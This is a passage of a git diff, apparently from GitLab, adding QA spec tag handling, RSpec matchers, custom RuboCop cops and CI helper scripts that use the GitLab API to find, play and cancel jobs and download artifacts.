+ expect_rspec_runner_arguments(['--tag', '~geo', '--tag', 'smoke', 'qa/specs/features/foo'])
subject.perform
end
@@ -76,7 +76,7 @@ RSpec.describe QA::Specs::Runner do
end
it 'includes default args and excludes the skip_signup_disabled tag' do
- expect_rspec_runner_arguments(['--tag', '~orchestrated', '--tag', '~skip_signup_disabled', *described_class::DEFAULT_TEST_PATH_ARGS])
+ expect_rspec_runner_arguments(['--tag', '~orchestrated', '--tag', '~geo', '--tag', '~skip_signup_disabled', *described_class::DEFAULT_TEST_PATH_ARGS])
subject.perform
end
@@ -88,8 +88,24 @@ RSpec.describe QA::Specs::Runner do
end
it 'includes default args and excludes the skip_live_env tag' do
- expect_rspec_runner_arguments(['--tag', '~orchestrated', '--tag', '~skip_live_env', *described_class::DEFAULT_TEST_PATH_ARGS])
+ expect_rspec_runner_arguments(['--tag', '~orchestrated', '--tag', '~geo', '--tag', '~skip_live_env', *described_class::DEFAULT_TEST_PATH_ARGS])
+ subject.perform
+ end
+ end
+
+ context 'when running against a Geo environment' do
+ before do
+ QA::Runtime::Scenario.define(:geo_secondary_address, "https://geo.staging.gitlab.com")
+ end
+
+ after do
+ QA::Runtime::Scenario.attributes.delete(:geo_secondary_address)
+ end
+
+ subject { described_class.new.tap { |runner| runner.tags = %i[geo] } }
+ it 'includes the geo tag' do
+ expect_rspec_runner_arguments(['--tag', 'geo', *described_class::DEFAULT_TEST_PATH_ARGS])
subject.perform
end
end
@@ -105,7 +121,7 @@ RSpec.describe QA::Specs::Runner do
end
it 'includes default args and excludes all unsupported tags' do
- expect_rspec_runner_arguments(['--tag', '~orchestrated', *excluded_feature_tags_except(feature), *described_class::DEFAULT_TEST_PATH_ARGS])
+ expect_rspec_runner_arguments(['--tag', '~orchestrated', '--tag', '~geo', *excluded_feature_tags_except(feature), *described_class::DEFAULT_TEST_PATH_ARGS])
subject.perform
end
@@ -130,11 +146,11 @@ RSpec.describe QA::Specs::Runner do
end
end
- it_behaves_like 'excludes orchestrated'
+ it_behaves_like 'excludes orchestrated and geo'
end
context 'when features are not specified' do
- it_behaves_like 'excludes orchestrated'
+ it_behaves_like 'excludes orchestrated and geo'
end
end
diff --git a/qa/spec/support/matchers/have_assignee.rb b/qa/spec/support/matchers/have_assignee.rb
new file mode 100644
index 00000000000..5e7aa2162b2
--- /dev/null
+++ b/qa/spec/support/matchers/have_assignee.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveAssignee
+ RSpec::Matchers.define :have_assignee do |assignee|
+ match do |page_object|
+ page_object.has_assignee?(assignee)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_assignee?(assignee)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_child_pipeline.rb b/qa/spec/support/matchers/have_child_pipeline.rb
new file mode 100644
index 00000000000..d05d9d4209a
--- /dev/null
+++ b/qa/spec/support/matchers/have_child_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveChildPipeline
+ RSpec::Matchers.define :have_child_pipeline do
+ match do |page_object|
+ page_object.has_child_pipeline?
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_child_pipeline?
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_content.rb b/qa/spec/support/matchers/have_content.rb
new file mode 100644
index 00000000000..66b30b3b6e4
--- /dev/null
+++ b/qa/spec/support/matchers/have_content.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveContent
+ RSpec::Matchers.define :have_content do |content|
+ match do |page_object|
+ page_object.has_content?(content)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_content?(content)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_design.rb b/qa/spec/support/matchers/have_design.rb
new file mode 100644
index 00000000000..85f1367297a
--- /dev/null
+++ b/qa/spec/support/matchers/have_design.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveDesign
+ RSpec::Matchers.define :have_design do |design|
+ match do |page_object|
+ page_object.has_design?(design)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_design?(design)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_element.rb b/qa/spec/support/matchers/have_element.rb
new file mode 100644
index 00000000000..bf74a78a3b5
--- /dev/null
+++ b/qa/spec/support/matchers/have_element.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveElement
+ RSpec::Matchers.define :have_element do |element, **kwargs|
+ match do |page_object|
+ page_object.has_element?(element, **kwargs)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_element?(element, **kwargs)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_file_content.rb b/qa/spec/support/matchers/have_file_content.rb
new file mode 100644
index 00000000000..e42ece6d59e
--- /dev/null
+++ b/qa/spec/support/matchers/have_file_content.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveFileContent
+ RSpec::Matchers.define :have_file_content do |file_content, file_number|
+ match do |page_object|
+ page_object.has_file_content?(file_content, file_number)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_file_content?(file_content, file_number)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_issue.rb b/qa/spec/support/matchers/have_issue.rb
new file mode 100644
index 00000000000..7ef30f22726
--- /dev/null
+++ b/qa/spec/support/matchers/have_issue.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveIssue
+ RSpec::Matchers.define :have_issue do |issue|
+ match do |page_object|
+ page_object.has_issue?(issue)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_issue?(issue)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_job.rb b/qa/spec/support/matchers/have_job.rb
new file mode 100644
index 00000000000..89829915fce
--- /dev/null
+++ b/qa/spec/support/matchers/have_job.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveJob
+ RSpec::Matchers.define :have_job do |job|
+ match do |page_object|
+ page_object.has_job?(job)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_job?(job)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_package.rb b/qa/spec/support/matchers/have_package.rb
new file mode 100644
index 00000000000..86e9bfee4d1
--- /dev/null
+++ b/qa/spec/support/matchers/have_package.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HavePackage
+ RSpec::Matchers.define :have_package do |package|
+ match do |page_object|
+ page_object.has_package?(package)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_package?(package)
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_pipeline.rb b/qa/spec/support/matchers/have_pipeline.rb
new file mode 100644
index 00000000000..2bfd49d671a
--- /dev/null
+++ b/qa/spec/support/matchers/have_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HavePipeline
+ RSpec::Matchers.define :have_pipeline do
+ match do |page_object|
+ page_object.has_pipeline?
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_pipeline?
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_related_issue_item.rb b/qa/spec/support/matchers/have_related_issue_item.rb
new file mode 100644
index 00000000000..89403f2422a
--- /dev/null
+++ b/qa/spec/support/matchers/have_related_issue_item.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveRelatedIssueItem
+ RSpec::Matchers.define :have_related_issue_item do
+ match do |page_object|
+ page_object.has_related_issue_item?
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_related_issue_item?
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/matchers/have_snippet_description.rb b/qa/spec/support/matchers/have_snippet_description.rb
new file mode 100644
index 00000000000..7c407aefc83
--- /dev/null
+++ b/qa/spec/support/matchers/have_snippet_description.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Matchers
+ module HaveSnippetDescription
+ RSpec::Matchers.define :have_snippet_description do |description|
+ match do |page_object|
+ page_object.has_snippet_description?(description)
+ end
+
+ match_when_negated do |page_object|
+ page_object.has_no_snippet_description?
+ end
+ end
+ end
+end
diff --git a/qa/spec/support/shared_examples/merge_with_code_owner_shared_examples.rb b/qa/spec/support/shared_examples/merge_with_code_owner_shared_examples.rb
index 610bf8b9e28..40a8be8202a 100644
--- a/qa/spec/support/shared_examples/merge_with_code_owner_shared_examples.rb
+++ b/qa/spec/support/shared_examples/merge_with_code_owner_shared_examples.rb
@@ -30,10 +30,17 @@ module QA
)
end
- # Require approval from code owners on master
- Resource::ProtectedBranch.fabricate! do |protected_branch|
+ # Require approval from code owners on the default branch
+ # The default branch is already protected, and we can't update a protected branch via the API (yet)
+ # so we unprotect it first and then protect it again with the desired parameters
+ Resource::ProtectedBranch.unprotect_via_api! do |protected_branch|
protected_branch.project = project
- protected_branch.branch_name = 'master'
+ protected_branch.branch_name = project.default_branch
+ end
+
+ Resource::ProtectedBranch.fabricate_via_api! do |protected_branch|
+ protected_branch.project = project
+ protected_branch.branch_name = project.default_branch
protected_branch.new_branch = false
protected_branch.require_code_owner_approval = true
end
diff --git a/rubocop/cop/gitlab/policy_rule_boolean.rb b/rubocop/cop/gitlab/policy_rule_boolean.rb
new file mode 100644
index 00000000000..ca69eebab6e
--- /dev/null
+++ b/rubocop/cop/gitlab/policy_rule_boolean.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Gitlab
+ # This cop checks for usage of boolean operators in rule blocks, which
+ # does not work because conditions are objects, not booleans.
+ #
+ # @example
+ #
+ # # bad, `conducts_electricity` returns a Rule object, not a boolean!
+ # rule { conducts_electricity && batteries }.enable :light_bulb
+ #
+ # # good
+ # rule { conducts_electricity & batteries }.enable :light_bulb
+ #
+ # @example
+ #
+ # # bad, `conducts_electricity` returns a Rule object, so the ternary is always going to be true
+ # rule { conducts_electricity ? can?(:magnetize) : batteries }.enable :motor
+ #
+ # # good
+ # rule { conducts_electricity & can?(:magnetize) }.enable :motor
+ # rule { ~conducts_electricity & batteries }.enable :motor
+ class PolicyRuleBoolean < RuboCop::Cop::Cop
+ def_node_search :has_and_operator?, <<~PATTERN
+ (and ...)
+ PATTERN
+
+ def_node_search :has_or_operator?, <<~PATTERN
+ (or ...)
+ PATTERN
+
+ def_node_search :has_if?, <<~PATTERN
+ (if ...)
+ PATTERN
+
+ def on_block(node)
+ return unless node.method_name == :rule
+
+ if has_and_operator?(node)
+ add_offense(node, message: '&& is not allowed within a rule block. Did you mean to use `&`?')
+ end
+
+ if has_or_operator?(node)
+ add_offense(node, message: '|| is not allowed within a rule block. Did you mean to use `|`?')
+ end
+
+ if has_if?(node)
+ add_offense(node, message: 'if and ternary operators are not allowed within a rule block.')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/graphql/descriptions.rb b/rubocop/cop/graphql/descriptions.rb
index b4e00dfe336..1585e5c9788 100644
--- a/rubocop/cop/graphql/descriptions.rb
+++ b/rubocop/cop/graphql/descriptions.rb
@@ -13,42 +13,74 @@
# argument :some_argument, GraphQL::STRING_TYPE
# end
#
+# class UngoodClass
+# field :some_argument,
+# GraphQL::STRING_TYPE,
+# description: "A description that does not end in a period"
+# end
+#
# # good
# class GreatClass
# argument :some_field,
# GraphQL::STRING_TYPE,
-# description: "Well described - a superb description"
+# description: "Well described - a superb description."
#
# field :some_field,
# GraphQL::STRING_TYPE,
-# description: "A thorough and compelling description"
+# description: "A thorough and compelling description."
# end
module RuboCop
module Cop
module Graphql
class Descriptions < RuboCop::Cop::Cop
- MSG = 'Please add a `description` property.'
+ MSG_NO_DESCRIPTION = 'Please add a `description` property.'
+ MSG_NO_PERIOD = '`description` strings must end with a `.`.'
# ability_field and permission_field set a default description.
- def_node_matcher :fields, <<~PATTERN
- (send nil? :field $...)
- PATTERN
-
- def_node_matcher :arguments, <<~PATTERN
- (send nil? :argument $...)
+ def_node_matcher :field_or_argument?, <<~PATTERN
+ (send nil? {:field :argument} ...)
PATTERN
- def_node_matcher :has_description?, <<~PATTERN
- (hash <(pair (sym :description) _) ...>)
+ def_node_matcher :description, <<~PATTERN
+ (... (hash <(pair (sym :description) $_) ...>))
PATTERN
def on_send(node)
- matches = fields(node) || arguments(node)
+ return unless field_or_argument?(node)
+
+ description = description(node)
+
+ return add_offense(node, location: :expression, message: MSG_NO_DESCRIPTION) unless description
+
+ add_offense(node, location: :expression, message: MSG_NO_PERIOD) if no_period?(description)
+ end
+
+ # Autocorrect missing periods at end of description.
+ def autocorrect(node)
+ lambda do |corrector|
+ description = description(node)
+ next unless description
+
+ corrector.insert_after(before_end_quote(description), '.')
+ end
+ end
+
+ private
+
+ def no_period?(description)
+ # Test that the description node is a `:str` (as opposed to
+ # a `#copy_field_description` call) before checking.
+ description.type == :str && !description.value.strip.end_with?('.')
+ end
- return if matches.nil?
+ # Returns a Parser::Source::Range that ends just before the final String delimiter.
+ def before_end_quote(string)
+ return string.source_range.adjust(end_pos: -1) unless string.heredoc?
- add_offense(node, location: :expression) unless has_description?(matches.last)
+ heredoc_source = string.location.heredoc_body.source
+ adjust = heredoc_source.index(/\s+\Z/) - heredoc_source.length
+ string.location.heredoc_body.adjust(end_pos: adjust)
end
end
end
diff --git a/rubocop/cop/graphql/id_type.rb b/rubocop/cop/graphql/id_type.rb
index 96f90ac136a..0d2fb6ad852 100644
--- a/rubocop/cop/graphql/id_type.rb
+++ b/rubocop/cop/graphql/id_type.rb
@@ -6,7 +6,7 @@ module RuboCop
class IDType < RuboCop::Cop::Cop
MSG = 'Do not use GraphQL::ID_TYPE, use a specific GlobalIDType instead'
- WHITELISTED_ARGUMENTS = %i[iid full_path project_path group_path target_project_path].freeze
+ WHITELISTED_ARGUMENTS = %i[iid full_path project_path group_path target_project_path namespace_path].freeze
def_node_search :graphql_id_type?, <<~PATTERN
(send nil? :argument (_ #does_not_match?) (const (const nil? :GraphQL) :ID_TYPE) ...)
diff --git a/rubocop/cop/lint/last_keyword_argument.rb b/rubocop/cop/lint/last_keyword_argument.rb
new file mode 100644
index 00000000000..430ea66e9a1
--- /dev/null
+++ b/rubocop/cop/lint/last_keyword_argument.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module Lint
+ # This cop only works if there are files from deprecation_toolkit. You can
+ # generate these files by:
+ #
+ # 1. Running specs with RECORD_DEPRECATIONS=1
+ # 1. Downloading the complete set of deprecations/ files from a CI
+ # pipeline (see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47720)
+ class LastKeywordArgument < Cop
+ MSG = 'Using the last argument as keyword parameters is deprecated'.freeze
+
+ DEPRECATIONS_GLOB = File.expand_path('../../../deprecations/**/*.yml', __dir__)
+ KEYWORD_DEPRECATION_STR = 'maybe ** should be added to the call'
+
+ def on_send(node)
+ arg = node.arguments.last
+ return unless arg
+
+ return unless known_match?(processed_source.file_path, node.first_line, node.method_name.to_s)
+
+ return if arg.children.first.respond_to?(:kwsplat_type?) && arg.children.first&.kwsplat_type?
+
+ # parser thinks `a: :b, c: :d` is hash type, it's actually kwargs
+ return if arg.hash_type? && !arg.source.match(/\A{/)
+
+ add_offense(arg)
+ end
+
+ def autocorrect(arg)
+ lambda do |corrector|
+ if arg.hash_type?
+ kwarg = arg.source.sub(/\A{\s*/, '').sub(/\s*}\z/, '')
+ corrector.replace(arg, kwarg)
+ elsif arg.splat_type?
+ corrector.insert_before(arg, '*')
+ else
+ corrector.insert_before(arg, '**')
+ end
+ end
+ end
+
+ private
+
+ def known_match?(file_path, line_number, method_name)
+ file_path_from_root = file_path.sub(File.expand_path('../../..', __dir__), '')
+
+ method_name = 'initialize' if method_name == 'new'
+
+ self.class.keyword_warnings.any? do |warning|
+ warning.include?("#{file_path_from_root}:#{line_number}") && warning.include?("called method `#{method_name}'")
+ end
+ end
+
+ def self.keyword_warnings
+ @keyword_warnings ||= keywords_list
+ end
+
+ def self.keywords_list
+ hash = Dir.glob(DEPRECATIONS_GLOB).each_with_object({}) do |file, hash|
+ hash.merge!(YAML.safe_load(File.read(file)))
+ end
+
+ hash.values.flatten.select { |str| str.include?(KEYWORD_DEPRECATION_STR) }.uniq
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/rspec/httparty_basic_auth.rb b/rubocop/cop/rspec/httparty_basic_auth.rb
new file mode 100644
index 00000000000..529a5808662
--- /dev/null
+++ b/rubocop/cop/rspec/httparty_basic_auth.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module RSpec
+ # This cop checks for invalid credentials passed to HTTParty
+ #
+ # @example
+ #
+ # # bad
+ # HTTParty.get(url, basic_auth: { user: 'foo' })
+ #
+ # # good
+ # HTTParty.get(url, basic_auth: { username: 'foo' })
+ class HTTPartyBasicAuth < RuboCop::Cop::Cop
+ MESSAGE = "`basic_auth: { user: ... }` does not work - replace `user:` with `username:`".freeze
+
+ RESTRICT_ON_SEND = %i(get put post delete).freeze
+
+ def_node_matcher :httparty_basic_auth?, <<~PATTERN
+ (send
+ (const _ :HTTParty)
+ {#{RESTRICT_ON_SEND.map(&:inspect).join(' ')}}
+ <(hash
+ <(pair
+ (sym :basic_auth)
+ (hash
+ <(pair $(sym :user) _) ...>
+ )
+ ) ...>
+ ) ...>
+ )
+ PATTERN
+
+ def on_send(node)
+ return unless m = httparty_basic_auth?(node)
+
+ add_offense(m, location: :expression, message: MESSAGE)
+ end
+
+ def autocorrect(node)
+ lambda do |corrector|
+ corrector.replace(node.loc.expression, 'username')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/rubocop-migrations.yml b/rubocop/rubocop-migrations.yml
index e1772deee9b..41bd2a4ce7d 100644
--- a/rubocop/rubocop-migrations.yml
+++ b/rubocop/rubocop-migrations.yml
@@ -25,6 +25,7 @@ Migration/UpdateLargeTable:
- :project_authorizations
- :projects
- :project_ci_cd_settings
+ - :project_settings
- :project_features
- :push_event_payloads
- :resource_label_events
@@ -35,6 +36,8 @@ Migration/UpdateLargeTable:
- :taggings
- :todos
- :users
+ - :user_preferences
+ - :user_details
- :web_hook_logs
DeniedMethods:
- :change_column_type_concurrently
diff --git a/rubocop/rubocop-usage-data.yml b/rubocop/rubocop-usage-data.yml
index 51ad3ed0bef..0e40a5971ee 100644
--- a/rubocop/rubocop-usage-data.yml
+++ b/rubocop/rubocop-usage-data.yml
@@ -20,6 +20,7 @@ UsageData/LargeTable:
- :Gitlab::Runtime
- :Gitaly::Server
- :Gitlab::UsageData
+ - :Gitlab::UsageDataCounters
- :License
- :Rails
- :Time
@@ -51,3 +52,4 @@ UsageData/DistinctCountByLargeForeignKey:
- 'project_id'
- 'user_id'
- 'resource_owner_id'
+ - 'requirement_id'
diff --git a/scripts/api/cancel_pipeline b/scripts/api/cancel_pipeline
new file mode 100755
index 00000000000..0965877a69a
--- /dev/null
+++ b/scripts/api/cancel_pipeline
@@ -0,0 +1,58 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require 'rubygems'
+require 'gitlab'
+require 'optparse'
+require_relative 'get_job_id'
+
+class CancelPipeline
+ DEFAULT_OPTIONS = {
+ project: ENV['CI_PROJECT_ID'],
+ pipeline_id: ENV['CI_PIPELINE_ID'],
+ api_token: ENV['GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN']
+ }.freeze
+
+ def initialize(options)
+ @project = options.delete(:project)
+ @pipeline_id = options.delete(:pipeline_id)
+
+ Gitlab.configure do |config|
+ config.endpoint = 'https://gitlab.com/api/v4'
+ config.private_token = options.delete(:api_token)
+ end
+ end
+
+ def execute
+ Gitlab.cancel_pipeline(project, pipeline_id)
+ end
+
+ private
+
+ attr_reader :project, :pipeline_id
+end
+
+if $0 == __FILE__
+ options = CancelPipeline::DEFAULT_OPTIONS.dup
+
+ OptionParser.new do |opts|
+ opts.on("-p", "--project PROJECT", String, "Project where to find the job (defaults to $CI_PROJECT_ID)") do |value|
+ options[:project] = value
+ end
+
+ opts.on("-i", "--pipeline-id PIPELINE_ID", String, "A pipeline ID (defaults to $CI_PIPELINE_ID)") do |value|
+ options[:pipeline_id] = value
+ end
+
+ opts.on("-t", "--api-token API_TOKEN", String, "A value API token with the `read_api` scope") do |value|
+ options[:api_token] = value
+ end
+
+ opts.on("-h", "--help", "Prints this help") do
+ puts opts
+ exit
+ end
+ end.parse!
+
+ CancelPipeline.new(options).execute
+end
diff --git a/scripts/api/download_job_artifact b/scripts/api/download_job_artifact
new file mode 100755
index 00000000000..8e2207c6fa7
--- /dev/null
+++ b/scripts/api/download_job_artifact
@@ -0,0 +1,94 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require 'rubygems'
+require 'optparse'
+require 'fileutils'
+require 'uri'
+require 'cgi'
+require 'net/http'
+
+class ArtifactFinder
+ DEFAULT_OPTIONS = {
+ project: ENV['CI_PROJECT_ID'],
+ api_token: ENV['GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN']
+ }.freeze
+
+ def initialize(options)
+ @project = options.delete(:project)
+ @job_id = options.delete(:job_id)
+ @api_token = options.delete(:api_token)
+ @artifact_path = options.delete(:artifact_path)
+
+ warn "No API token given." unless api_token
+ end
+
+ def execute
+ url = "https://gitlab.com/api/v4/projects/#{CGI.escape(project)}/jobs/#{job_id}/artifacts"
+
+ if artifact_path
+ FileUtils.mkdir_p(File.dirname(artifact_path))
+ url += "/#{artifact_path}"
+ end
+
+ fetch(url)
+ end
+
+ private
+
+ attr_reader :project, :job_id, :api_token, :artifact_path
+
+ def fetch(uri_str, limit = 10)
+ raise 'Too many HTTP redirects' if limit == 0
+
+ uri = URI(uri_str)
+ request = Net::HTTP::Get.new(uri)
+ request['Private-Token'] = api_token if api_token
+
+ Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+ http.request(request) do |response|
+ case response
+ when Net::HTTPSuccess then
+ File.open(artifact_path || 'artifacts.zip', 'w') do |file|
+ response.read_body(&file.method(:write))
+ end
+ when Net::HTTPRedirection then
+ location = response['location']
+ warn "Redirected (#{limit - 1} redirections remaining)."
+ fetch(location, limit - 1)
+ else
+ raise "Unexpected response: #{response.value}"
+ end
+ end
+ end
+ end
+end
+
+if $0 == __FILE__
+ options = ArtifactFinder::DEFAULT_OPTIONS.dup
+
+ OptionParser.new do |opts|
+ opts.on("-p", "--project PROJECT", String, "Project where to find the job (defaults to $CI_PROJECT_ID)") do |value|
+ options[:project] = value
+ end
+
+ opts.on("-j", "--job-id JOB_ID", String, "A job ID") do |value|
+ options[:job_id] = value
+ end
+
+ opts.on("-a", "--artifact-path ARTIFACT_PATH", String, "A valid artifact path") do |value|
+ options[:artifact_path] = value
+ end
+
+ opts.on("-t", "--api-token API_TOKEN", String, "A value API token with the `read_api` scope") do |value|
+ options[:api_token] = value
+ end
+
+ opts.on("-h", "--help", "Prints this help") do
+ puts opts
+ exit
+ end
+ end.parse!
+
+ ArtifactFinder.new(options).execute
+end
diff --git a/scripts/api/get_job_id b/scripts/api/get_job_id
new file mode 100755
index 00000000000..c7fe859db91
--- /dev/null
+++ b/scripts/api/get_job_id
@@ -0,0 +1,140 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require 'rubygems'
+require 'gitlab'
+require 'optparse'
+
+class JobFinder
+ DEFAULT_OPTIONS = {
+ project: ENV['CI_PROJECT_ID'],
+ pipeline_id: ENV['CI_PIPELINE_ID'],
+ pipeline_query: {},
+ job_query: {},
+ api_token: ENV['GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN']
+ }.freeze
+
+ def initialize(options)
+ @project = options.delete(:project)
+ @pipeline_query = options.delete(:pipeline_query)
+ @job_query = options.delete(:job_query)
+ @pipeline_id = options.delete(:pipeline_id)
+ @job_name = options.delete(:job_name)
+ @artifact_path = options.delete(:artifact_path)
+
+ # Force the token to be a string so that if api_token is nil, it's set to '', allowing unauthenticated requests (for forks).
+ api_token = options.delete(:api_token).to_s
+
+ warn "No API token given." if api_token.empty?
+
+ Gitlab.configure do |config|
+ config.endpoint = 'https://gitlab.com/api/v4'
+ config.private_token = api_token
+ end
+ end
+
+ def execute
+ find_job_with_artifact || find_job_with_filtered_pipelines || find_job_in_pipeline
+ end
+
+ private
+
+ attr_reader :project, :pipeline_query, :job_query, :pipeline_id, :job_name, :artifact_path
+
+ def find_job_with_artifact
+ return if artifact_path.nil?
+
+ Gitlab.pipelines(project, pipeline_query_params).auto_paginate do |pipeline|
+ Gitlab.pipeline_jobs(project, pipeline.id, job_query_params).auto_paginate do |job|
+ return job if found_job_with_artifact?(job) # rubocop:disable Cop/AvoidReturnFromBlocks
+ end
+ end
+
+ raise 'Job not found!'
+ end
+
+ def find_job_with_filtered_pipelines
+ return if pipeline_query.empty?
+
+ Gitlab.pipelines(project, pipeline_query_params).auto_paginate do |pipeline|
+ Gitlab.pipeline_jobs(project, pipeline.id, job_query_params).auto_paginate do |job|
+ return job if found_job_by_name?(job) # rubocop:disable Cop/AvoidReturnFromBlocks
+ end
+ end
+
+ raise 'Job not found!'
+ end
+
+ def find_job_in_pipeline
+ return unless pipeline_id
+
+ Gitlab.pipeline_jobs(project, pipeline_id, job_query_params).auto_paginate do |job|
+ return job if found_job_by_name?(job) # rubocop:disable Cop/AvoidReturnFromBlocks
+ end
+
+ raise 'Job not found!'
+ end
+
+ def found_job_with_artifact?(job)
+ artifact_url = "https://gitlab.com/api/v4/projects/#{CGI.escape(project)}/jobs/#{job.id}/artifacts/#{artifact_path}"
+ response = HTTParty.head(artifact_url) # rubocop:disable Gitlab/HTTParty
+ response.success?
+ end
+
+ def found_job_by_name?(job)
+ job.name == job_name
+ end
+
+ def pipeline_query_params
+ @pipeline_query_params ||= { per_page: 100, **pipeline_query }
+ end
+
+ def job_query_params
+ @job_query_params ||= { per_page: 100, **job_query }
+ end
+end
+
+if $0 == __FILE__
+ options = JobFinder::DEFAULT_OPTIONS.dup
+
+ OptionParser.new do |opts|
+ opts.on("-p", "--project PROJECT", String, "Project where to find the job (defaults to $CI_PROJECT_ID)") do |value|
+ options[:project] = value
+ end
+
+ opts.on("-i", "--pipeline-id pipeline_id", String, "A pipeline ID (defaults to $CI_PIPELINE_ID)") do |value|
+ options[:pipeline_id] = value
+ end
+
+ opts.on("-q", "--pipeline-query pipeline_query", String, "Query to pass to the Pipeline API request") do |value|
+ options[:pipeline_query].merge!(Hash[*value.split('=')])
+ end
+
+ opts.on("-Q", "--job-query job_query", String, "Query to pass to the Job API request") do |value|
+ options[:job_query].merge!(Hash[*value.split('=')])
+ end
+
+ opts.on("-j", "--job-name job_name", String, "A job name that needs to exist in the found pipeline") do |value|
+ options[:job_name] = value
+ end
+
+ opts.on("-a", "--artifact-path ARTIFACT_PATH", String, "A valid artifact path") do |value|
+ options[:artifact_path] = value
+ end
+
+ opts.on("-t", "--api-token API_TOKEN", String, "A value API token with the `read_api` scope") do |value|
+ options[:api_token] = value
+ end
+
+ opts.on("-h", "--help", "Prints this help") do
+ puts opts
+ exit
+ end
+ end.parse!
+
+ job = JobFinder.new(options).execute
+
+ return if job.nil?
+
+ puts job.id
+end
diff --git a/scripts/api/play_job b/scripts/api/play_job
new file mode 100755
index 00000000000..199f7e65633
--- /dev/null
+++ b/scripts/api/play_job
@@ -0,0 +1,60 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require 'rubygems'
+require 'gitlab'
+require 'optparse'
+require_relative 'get_job_id'
+
+class PlayJob
+ DEFAULT_OPTIONS = {
+ project: ENV['CI_PROJECT_ID'],
+ pipeline_id: ENV['CI_PIPELINE_ID'],
+ api_token: ENV['GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN']
+ }.freeze
+
+ def initialize(options)
+ @project = options.delete(:project)
+ @options = options
+
+ Gitlab.configure do |config|
+ config.endpoint = 'https://gitlab.com/api/v4'
+ config.private_token = options.fetch(:api_token)
+ end
+ end
+
+ def execute
+ job = JobFinder.new(project, options.slice(:api_token, :pipeline_id, :job_name).merge(scope: 'manual')).execute
+
+ Gitlab.job_play(project, job.id)
+ end
+
+ private
+
+ attr_reader :project, :options
+end
+
+if $0 == __FILE__
+ options = PlayJob::DEFAULT_OPTIONS.dup
+
+ OptionParser.new do |opts|
+ opts.on("-p", "--project PROJECT", String, "Project where to find the job (defaults to $CI_PROJECT_ID)") do |value|
+ options[:project] = value
+ end
+
+ opts.on("-j", "--job-name JOB_NAME", String, "A job name that needs to exist in the found pipeline") do |value|
+ options[:job_name] = value
+ end
+
+ opts.on("-t", "--api-token API_TOKEN", String, "A value API token with the `read_api` scope") do |value|
+ options[:api_token] = value
+ end
+
+ opts.on("-h", "--help", "Prints this help") do
+ puts opts
+ exit
+ end
+ end.parse!
+
+ PlayJob.new(options).execute
+end
diff --git a/scripts/build_assets_image b/scripts/build_assets_image
index e6a5f036fe5..12beddfa184 100755
--- a/scripts/build_assets_image
+++ b/scripts/build_assets_image
@@ -20,21 +20,13 @@ cp Dockerfile.assets assets_container.build/
COMMIT_REF_SLUG_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_REF_SLUG}
COMMIT_SHA_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_SHA}
+COMMIT_REF_NAME_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_REF_NAME}
DESTINATIONS="--destination=$COMMIT_REF_SLUG_DESTINATION --destination=$COMMIT_SHA_DESTINATION"
